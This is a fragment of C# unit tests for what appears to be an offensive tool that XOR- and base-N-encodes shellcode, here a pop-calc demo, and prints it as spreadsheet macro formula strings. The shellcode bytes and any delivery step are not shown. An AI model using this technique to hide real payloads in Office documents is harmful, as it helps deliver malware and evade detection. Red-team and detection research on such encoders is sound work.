public void TestBase255XorEncoding()
{
BaseNEncoder encoder = new BaseNEncoder();
byte[] nullShellcode = new byte[] { 0, 0, 0 };
string xorKey = "\x00\x00\x00";
byte[] xoredNullShellcode = XorPayloadAgainstString(nullShellcode, xorKey);
Assert.AreEqual(xorKey, Encoding.Default.GetString(xoredNullShellcode));
byte[] shellcode = TestHelpers.GetPopCalc64Shellcode();
shellcode = XorPayloadAgainstString(shellcode, xorKey);
// var strings = ConvertPayloadToStrings(shellcode, encoder);
var strings = FormulaHelper.BuildBase64PayloadMacros(shellcode);
foreach (var s in strings)
{
Console.WriteLine(string.Format("=\"{0}\"", s));
}
}
public void TestBase255EncodingForBasicPayload()
{
byte[] shellcode = TestHelpers.GetPopCalcShellcode();
BaseNEncoder encoder = new BaseNEncoder();
var strings = FormulaHelper.BuildBase64PayloadMacros(shellcode);
foreach (var s in strings)
{
Console.WriteLine(string.Format("=\"{0}\"", s));
}
string encodedShellcode = encoder.Encode(shellcode);
int encodedLen = encodedShellcode.Length;
byte[] decodedShellcode = encoder.Decode(encodedShellcode);
Assert.AreEqual(shellcode, decodedShellcode);
}
